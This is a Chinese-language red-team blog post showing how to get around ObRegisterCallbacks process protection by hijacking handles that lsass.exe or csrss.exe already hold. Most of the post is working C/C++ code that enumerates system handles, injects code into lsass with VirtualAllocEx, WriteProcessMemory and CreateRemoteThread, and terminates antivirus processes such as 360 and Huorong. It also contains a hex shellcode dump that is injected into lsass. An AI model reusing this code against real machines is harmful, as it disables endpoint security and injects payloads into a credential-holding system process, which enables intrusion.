绕过ObRegisterCallbacks保护关闭进程 &执行Shellcode原理/代码解析

绕过ObRegisterCallbacks保护关闭进程 &执行Shellcode原理/代码解析

简介

去年北京红队开会的时候观星的大哥有演示了一个不用驱动就可以kill掉杀软进程,当时有作记录,但是奈何代码水平不过关,是真看不懂啊。近期学习了下C和winapi,又查到huoji120在freebuf上发的文章的思路,就想着去学习了下,进一步实现了代码执行上线,写篇文章记录下。 --admin@8sec.cc

正文

ObRegisterCallbacks()是什么

关于ObRegisterCallbacks保护进程可以看看雪的这篇文章:https://bbs.pediy.com/thread-168023.htm

简单来说ObRegisterCallbacks可以在调用在NtOpenProcess调用时进行权限的过滤, 比如清除(终止进程)PROCESS_TERMINATE, (对进程内存读写)PROCESS_VM_OPERATION权限等操作。常被用于在X64系统中的进程防护。也就是为什么任务管理器终止360tray.exe进程会提示拒绝访问,Openprocess/ZwCreateThreadEx一些特定进程360tray.exe GetLasterror()会提示 error 0没有权限(实际上是被降权了)

image-20201018125958226

函数声明

NTSTATUS ObRegisterCallbacks(    
  _In_  POB_CALLBACK_REGISTRATION CallBackRegistration,    
  _Out_ PVOID                     *RegistrationHandle
);

降权代码:

{
    NTSTATUS NtHandleCallback = STATUS_UNSUCCESSFUL;
    NTSTATUS NtThreadCallback = STATUS_UNSUCCESSFUL;
    OB_OPERATION_REGISTRATION OBOperationRegistration[2];
    OB_CALLBACK_REGISTRATION OBOCallbackRegistration; //这就是ObRegisterCallbacks的第一个参数
    REG_CONTEXT regContext;
    UNICODE_STRING usAltitude;
    memset(&OBOperationRegistration, 0, sizeof(OB_OPERATION_REGISTRATION));
    memset(&OBOCallbackRegistration, 0, sizeof(OB_CALLBACK_REGISTRATION));
    memset(&regContext, 0, sizeof(REG_CONTEXT));
    regContext.ulIndex = 1;
    regContext.Version = 120;
    RtlInitUnicodeString(&usAltitude, L"1000");
    if ((USHORT)ObGetFilterVersion() == OB_FLT_REGISTRATION_VERSION)
    {

        /*初始化OB_CALLBACK_REGISTRATION参数信息*/
        OBOperationRegistration[1].ObjectType = PsProcessType;
        OBOperationRegistration[1].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
        OBOperationRegistration[1].PreOperation = ProcessHandleCallbacks; //这个就是真正实现进程保护、文件保护的回调函数
        OBOperationRegistration[1].PostOperation = HandleAfterCreat;
        OBOperationRegistration[0].ObjectType = PsThreadType;
        OBOperationRegistration[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
        OBOperationRegistration[0].PreOperation = ThreadHandleCallbacks;
        OBOperationRegistration[0].PostOperation = HandleAfterCreat;
        OBOCallbackRegistration.Version = OB_FLT_REGISTRATION_VERSION;
        OBOCallbackRegistration.OperationRegistrationCount = 2;
        OBOCallbackRegistration.RegistrationContext = &regContext;
        OBOCallbackRegistration.OperationRegistration = OBOperationRegistration;
        /*初始化OB_CALLBACK_REGISTRATION参数信息*/

        NtHandleCallback = ObRegisterCallbacks(&OBOCallbackRegistration, &g_CallbacksHandle); // 注册Callback

        if (!NT_SUCCESS(NtHandleCallback))
        {
            if (g_CallbacksHandle)
            {
                ObUnRegisterCallbacks(g_CallbacksHandle);
                g_CallbacksHandle = NULL;
            }
            DebugPrint("[DebugMessage] Failed to install ObRegisterCallbacks: 0x%08X.\n", NtHandleCallback);
        }
        else
            DebugPrint("[DebugMessage] Success: ObRegisterCallbacks Was Be Install\n");
    }
    PsSetCreateProcessNotifyRoutine(CreateProcessNotify, FALSE);
}

OB_PREOP_CALLBACK_STATUS ProcessHandleCallbacks(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OperationInformation)
{
    UNREFERENCED_PARAMETER(RegistrationContext);
    if (g_MyPorcess == -1)
        return OB_PREOP_SUCCESS;
    if (OperationInformation->KernelHandle)
        return OB_PREOP_SUCCESS;
    PEPROCESS ProtectedProcessPEPROCESS;
    PEPROCESS ProtectedUserModeACPEPROCESS;
    PEPROCESS OpenedProcess = (PEPROCESS)OperationInformation->Object, CurrentProcess = PsGetCurrentProcess();
    ULONG ulProcessId = (ULONG)PsGetProcessId(OpenedProcess);
    ULONG myProcessId = (ULONG)PsGetProcessId(CurrentProcess);

    if (ulProcessId == g_MyPorcess) //如果是我们的进程
    {
        if (OperationInformation->Operation == OB_OPERATION_HANDLE_CREATE) // 创建句柄的时候才执行下面的句柄降权
        {
            if ((OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_TERMINATE) == PROCESS_TERMINATE)
            {
                //移除杀死进程的权限
                OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
            }
            if ((OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_OPERATION) == PROCESS_VM_OPERATION)
            {
                OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_OPERATION;
            }
            if ((OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_READ) == PROCESS_VM_READ)
            {
                OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ;
            }
            if ((OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_WRITE) == PROCESS_VM_WRITE)
            {
                OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_WRITE;
            }

        }
    }

    return OB_PREOP_SUCCESS;
}

绕过原理

​ 问题出在获取句柄的时候被降权了,这样使用目标句柄的所有操作就都无法实现了如WriteProcessMemory

BOOL WriteProcessMemory(
HANDLE hProcess, //无法通过Openprocess获取HANDLE。
LPVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesWritten
);

​ 虽然在安全软件启动之后新的进程都无法获取句柄,但是像lsass.exe/csrss.exe进程是已经存在具有完全读写权限的句柄,那么就可以利用这些进程去操作目标句柄实现操作。

image-20201018132132322

实现

两种实现方法

​ 1、可以利用xpn大佬的让lsass.exe进程加载rpc调用恶意dll

​ 2、利用ZwQuerySystemInformation遍历所有句柄,寻找在lsass.exe中目标进程的EPROCESS地址,再使用Openprocess打开句柄后进行操作。

实现功能

​ 实现kill 360/火绒/安全狗等软件,或者在lsass进程中执行shellcode。

实现过程

1、ZwQuerySystemInformation遍历所有句柄,这是一个ntdll.dll中的导出但未文档化的函数。

查询所有句柄:

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG ProcessId;//进程标识符 
    UCHAR ObjectTypeNumber;//打开的对象的类型
    UCHAR Flags;//句柄属性标志
    USHORT Handle;//句柄数值,在进程打开的句柄中唯一标识某个句柄
    PVOID Object;//这个就是句柄对应的EPROCESS的地址
    ACCESS_MASK GrantedAccess;//句柄对象的访问权限
}SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_INFORMATION Information[655360];
}SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
/*
查询所有句柄
*/
PSYSTEM_HANDLE_INFORMATION_EX QueryHandleTable()
{
    ULONG cbBuffer = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
    LPVOID pBuffer = (LPVOID)malloc(cbBuffer);
    PSYSTEM_HANDLE_INFORMATION_EX HandleInfo = nullptr;
    if (pBuffer)
    {
        pfn_ZwQuerySystemInformation(0x10, pBuffer, cbBuffer, NULL);
        HandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)pBuffer;
    }
    return HandleInfo;
}

获取EPROCESS

DWORD64 GetTarEPROCESS() 
{
    HANDLE TarHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_ProcessID);
    PSYSTEM_HANDLE_INFORMATION_EX HandleInfo = QueryHandleTable();
    DWORD64 EPROCESS;
    for (int i = 0; i < HandleInfo->NumberOfHandles; i++)
    {
        if (HandleInfo->Information[i].Handle == (USHORT)TarHandle && HandleInfo->Information[i].ProcessId == GetCurrentProcessId())
        {
            EPROCESS = (DWORD64)HandleInfo->Information[i].Object;
            break;
        }
    }
    free(HandleInfo);
    CloseHandle(TarHandle);
    return EPROCESS;
}

遍历所有合适的句柄

bool FuckUpProcess()
{
    bool Found = false;
    DWORD64 TarEPROCESS = GetTarEPROCESS();
    if (!TarEPROCESS)
    {
        std::cout << "找不到EPROCESS" << std::endl;
        return Found;
    }
    PSYSTEM_HANDLE_INFORMATION_EX HandleInfo = QueryHandleTable();
    for (int i = 0; i < HandleInfo->NumberOfHandles; i++)
    {
        //7 是 process 属性
        if (HandleInfo->Information[i].ObjectTypeNumber == 7)
        {
            if((DWORD64)HandleInfo->Information[i].Object != TarEPROCESS)
                continue;
            //排除掉目标进程的PID
            if (HandleInfo->Information[i].ProcessId == g_ProcessID)
                continue;
            if ((HandleInfo->Information[i].GrantedAccess & PROCESS_VM_READ) != PROCESS_VM_READ)
                continue;
            if ((HandleInfo->Information[i].GrantedAccess & PROCESS_VM_OPERATION) != PROCESS_VM_OPERATION)
                continue;
            if ((HandleInfo->Information[i].GrantedAccess & PROCESS_QUERY_INFORMATION) != PROCESS_QUERY_INFORMATION)
                continue;
            //由于火绒找不到可用TERMINATE的权限,只能用方案2 但是PCHUNTER却可以
            //if ((HandleInfo->Information[i].GrantedAccess & PROCESS_TERMINATE) != PROCESS_TERMINATE)
            //  continue;
            //执行shellcode映射操作
            HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, HandleInfo->Information[i].ProcessId);
            if (!hProcess || hProcess == INVALID_HANDLE_VALUE)
                continue;
            std::cout << "在 " << HandleInfo->Information[i].ProcessId << " 中找到了一个合适句柄! HANDLE 为: 0x" << std::hex << HandleInfo->Information[i].Handle << std::endl;
            if(!DoShellCodeInject(hProcess, (HANDLE)HandleInfo->Information[i].Handle))
                continue;
            Found = true;
            break;
        }
    }
    free(HandleInfo);
    return Found;
}

获取到目标(lsass.exe/csrss.exe)的PID和目标(HipsMain.exe)句柄后,就可以向lsass.exe进程中注入shellcode或dll去操作HipsMain.exe句柄,在有读写权限可以直接清零内存或者修改区段属性触发火绒崩溃。

原作者代码:

typedef struct _SHELLCODE
{
    HANDLE fnHandle;
    DWORD fnPID;
    pTerminateProcess fnTerminateProcess;
    pOpenProcess fnOpenProcess;
}SHELLCODE, * PSHELLCODE;
DWORD WINAPI InjectShellCode(PVOID p)
{
    PSHELLCODE shellcode = (PSHELLCODE)p;
    //由于火绒没有Terminate权限,所以使用方案2
    shellcode->fnTerminateProcess(shellcode->fnHandle,0);
    HANDLE hProcess = shellcode->fnOpenProcess(0x001FFFFF, 0, shellcode->fnPID);
    //shellcode->fnTerminateProcess(hProcess, 0);
    return TRUE;
}
DWORD WINAPI InjectShellCodeEnd()
{
    return 0;
}

执行注入代码:

bool DoShellCodeInject(HANDLE handle, HANDLE TarHandle)
{
    bool success = false;
    LPVOID addrss_shellcode = VirtualAllocEx(handle, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //打开lsass进程
    if (addrss_shellcode)
    {
        //设置shellcode
        SHELLCODE ManualInject;
        memset(&ManualInject, 0, sizeof(SHELLCODE)); //用0填充shellcode
        ManualInject.fnTerminateProcess = TerminateProcess;
        ManualInject.fnHandle = TarHandle; //设置目标句柄
        ManualInject.fnPID = g_ProcessID; //设置目标进程pid
        ManualInject.fnOpenProcess = OpenProcess;
        std::cout << "TarHandle 0x" << std::hex << TarHandle << std::endl;
        if (WriteProcessMemory(handle, addrss_shellcode, &ManualInject, sizeof(SHELLCODE), NULL) &&
            WriteProcessMemory(handle, (PVOID)((PSHELLCODE)addrss_shellcode + 1), InjectShellCode, (DWORD)InjectShellCodeEnd - (DWORD)InjectShellCode, NULL)) //写入shellcode到lsass内存空间中,
        {
            HANDLE hThread = CreateRemoteThread(handle, NULL, 0, (LPTHREAD_START_ROUTINE)((PSHELLCODE)addrss_shellcode + 1), addrss_shellcode, 0, NULL); //CreateRemoteThread启动shellcode。
            if (!hThread)
                std::cout << "CreateRemoteThread 失败 " << GetLastError() << std::endl;
            else
            {
                WaitForSingleObject(hThread, INFINITE);
                std::cout << "injected " << std::dec << GetProcessId(handle) <<" AT:"<< std::hex << addrss_shellcode << " Status "<< GetLastError() << std::endl;
                success = true;
            }
        }
        else
        {
            std::cout << "WriteProcessMemory 失败 " << GetLastError() << std::endl;
        }
        VirtualFreeEx(handle, addrss_shellcode, 0, MEM_RELEASE);
    }
    else
    {
        std::cout << "VirtualAllocEx 失败 " << GetLastError() << std::endl;
    }
    return success;
}

引用代码:

image-20201018234518088

Main函数:

image-20201018233458788

实现效果

![iShot2020-10-19 00.41.53](https://myblogimages.oss-cn-beijing.aliyuncs.com/img/iShot2020-10-19 00.41.53.gif)

在原文中作者有提到PPL的问题,在win10下测试360也仍然被关闭。PPL的事情以后有时间在去学习下令牌复用。

![iShot2020-10-19 00.49.22](https://myblogimages.oss-cn-beijing.aliyuncs.com/img/iShot2020-10-19 00.49.22.gif)

如果不使用RPC加载dll的话,也可以在lsass中加载dll去关闭进程,或者执行shellcode上线,这里我直接向lsass.exe进程注入实现上线。


bool success = false;
    char sss[] = "shellcode";
        /*0x000000000012F3F0  fc 48 83 e4 f0 e8 c0 00 00 00 41 51 41 50 52 51 56 48 31 d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48 0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c 20 41 c1 c9 0d 41 01  üHƒäðèÀ...AQAPRQVH1ÒeH.R`H.R.H.R H.rPH.·JJM1ÉH1À¬ < a | ., AÁÉ.A.
        0x000000000012F42D  c1 e2 ed 52 41 51 48 8b 52 20 8b 42 3c 48 01 d0 8b 80 88 00 00 00 48 85 c0 74 67 48 01 d0 50 8b 48 18 44 8b 40 20 49 01 d0 e3 56 48 ff c9 41 8b 34 88 48 01 d6 4d 31 c9 48 31 c0 ac 41  ÁâíRAQH.R.B < H.Ð.€ˆ...H.ÀtgH.ÐP.H.D.@ I.ÐãVHÿÉA.4ˆH.ÖM1ÉH1À¬A
        0x000000000012F46A  c1 c9 0d 41 01 c1 38 e0 75 f1 4c 03 4c 24 08 45 39 d1 75 d8 58 44 8b 40 24 49 01 d0 66 41 8b 0c 48 44 8b 40 1c 49 01 d0 41 8b 04 88 48 01 d0 41 58 41 58 5e 59 5a 41 58 41 59 41 5a 48  ÁÉ.A.Á8àuñL.L$.E9ÑuØXD.@$I.ÐfA..HD.@.I.ÐA..ˆH.ÐAXAX^YZAXAYAZH
        0x000000000012F4A7  83 ec 20 41 52 ff e0 58 41 59 5a 48 8b 12 e9 57 ff ff ff 5d 48 ba 01 00 00 00 00 00 00 00 48 8d 8d 01 01 00 00 41 ba 31 8b 6f 87 ff d5 bb e0 1d 2a 0a 41 ba a6 95 bd 9d ff d5 48 83 c4  ƒì ARÿàXAYZH..éWÿÿÿ]Hº........H......Aº1.o.ÿÕ»à.*.Aº¦...ÿÕHƒÄ
        0x000000000012F4E4  28 3c 06 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a 00 59 41 89 da ff d5 63 61 6c 63 2e 65 78 65 00*/
    LPVOID addrss_shellcode = VirtualAllocEx(handle, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    printf("addrss_shellcode sizeof : %d \n", sizeof(handle));
    if (addrss_shellcode)
    {
        //设置shellcode
        SHELLCODE ManualInject;
        memset(&ManualInject, 0, sizeof(SHELLCODE));
        printf("ManualInject sizeof : %d \n",sizeof(SHELLCODE));
        printf("address:%0x \n", &addrss_shellcode);
        ManualInject.fnTerminateProcess = TerminateProcess;
        ManualInject.fnHandle = TarHandle;
        ManualInject.fnPID = g_ProcessID;
        ManualInject.fnOpenProcess = OpenProcess;
        std::cout << "TarHandle 0x" << std::hex << TarHandle << std::endl;
        if (WriteProcessMemory(handle, addrss_shellcode, &ManualInject, sizeof(SHELLCODE), NULL) && WriteProcessMemory(handle, (PVOID)((PSHELLCODE)addrss_shellcode + 1), (LPCVOID)sss, sizeof(sss), NULL))
         {
            HANDLE hThread = CreateRemoteThread(handle, NULL, 0, (LPTHREAD_START_ROUTINE)((PSHELLCODE)addrss_shellcode + 1), addrss_shellcode, 0, NULL);

image-20201019005250818

image-20201019005307485

也实现了之前突破session0限制注入进程的作用。

TO DO

1、学习Windows访问令牌窃取。

2、学习RPC加载dll。

3、学习PPL绕过。

https://www.unknowncheats.me/forum/anti-cheat-bypass/261176-silentjack-ultimate-handle-hijacking-user-mode-multi-ac-bypass-eac-tested.html

https://www.freebuf.com/vuls/220997.html

https://blog.jus4fun.xyz/article/79/

本文链接:

http://8sec.cc/index.php/archives/435/
1 + 2 =
快来做第一个评论的人吧~